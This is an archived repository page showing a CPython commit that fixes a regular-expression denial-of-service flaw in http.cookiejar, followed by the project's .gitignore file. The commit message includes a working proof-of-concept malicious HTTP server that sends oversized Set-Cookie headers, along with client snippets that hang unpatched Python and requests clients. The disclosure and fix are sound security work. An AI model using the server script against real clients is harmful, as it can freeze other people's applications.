Staging
v0.5.1
v0.5.1
https://github.com/python/cpython
Revision a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 authored by Miss Islington (bot) on 22 November 2019, 14:42:06 UTC, committed by GitHub on 22 November 2019, 14:42:06 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) GH- Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 GH- Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): GH- Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e) Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent c3cd0de
Tip revision: a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 authored by Miss Islington (bot) on 22 November 2019, 14:42:06 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
Tip revision: a1e1be4
.gitignore
#####
# First, rules intended to apply in all subdirectories.
# These contain no slash, or only a trailing slash.
*.cover
*.iml
*.o
*.a
*.so*
*.dylib
*.dll
*.orig
*.pyc
*.pyd
*.pyo
*.rej
*.swp
*~
*.gc??
*.profclang?
*.profraw
*.dyn
.gdb_history
.purify
__pycache__
.hg/
.svn/
.idea/
tags
TAGS
.vs/
.vscode/
gmon.out
.coverage
.mypy_cache/
*.exe
!Lib/distutils/command/*.exe
# Ignore core dumps... but not Tools/msi/core/ or the like.
core
!core/
#####
# Then, rules meant for a specific location relative to the repo root.
# These must contain a non-trailing slash (and may also have a trailing slash.)
Doc/build/
Doc/venv/
Doc/.venv/
Doc/env/
Doc/.env/
Include/pydtrace_probes.h
Lib/distutils/command/*.pdb
Lib/lib2to3/*.pickle
Lib/test/data/*
!Lib/test/data/README
/Makefile
/Makefile.pre
Misc/python.pc
Misc/python-embed.pc
Misc/python-config.sh
Modules/Setup.config
Modules/Setup.local
Modules/config.c
Modules/ld_so_aix
Programs/_freeze_importlib
Programs/_testembed
PC/python_nt*.h
PC/pythonnt_rc*.h
PC/*/*.exp
PC/*/*.lib
PC/*/*.bsc
PC/*/*.dll
PC/*/*.pdb
PC/*/*.user
PC/*/*.ncb
PC/*/*.suo
PC/*/Win32-temp-*
PC/*/x64-temp-*
PC/*/amd64
PCbuild/*.user
PCbuild/*.suo
PCbuild/*.*sdf
PCbuild/*-pgi
PCbuild/*-pgo
PCbuild/*.VC.db
PCbuild/*.VC.opendb
PCbuild/amd64/
PCbuild/arm32/
PCbuild/arm64/
PCbuild/obj/
PCbuild/win32/
/autom4te.cache
/build/
/config.cache
/config.log
/config.status
/config.status.lineno
/platform
/pybuilddir.txt
/pyconfig.h
/python-config
/python-config.py
/python.bat
/python-gdb.py
/python.exe-gdb.py
/reflog.txt
/coverage/
/externals/
/htmlcov/
Tools/msi/obj
Tools/ssl/amd64
Tools/ssl/win32
# Two-trick pony for OSX and other case insensitive file systems:
# Ignore ./python binary on Unix but still look into ./Python/ directory.
/python
!/Python/
![swh spinner](/static/img/swh-spinner.gif)
Computing file changes ...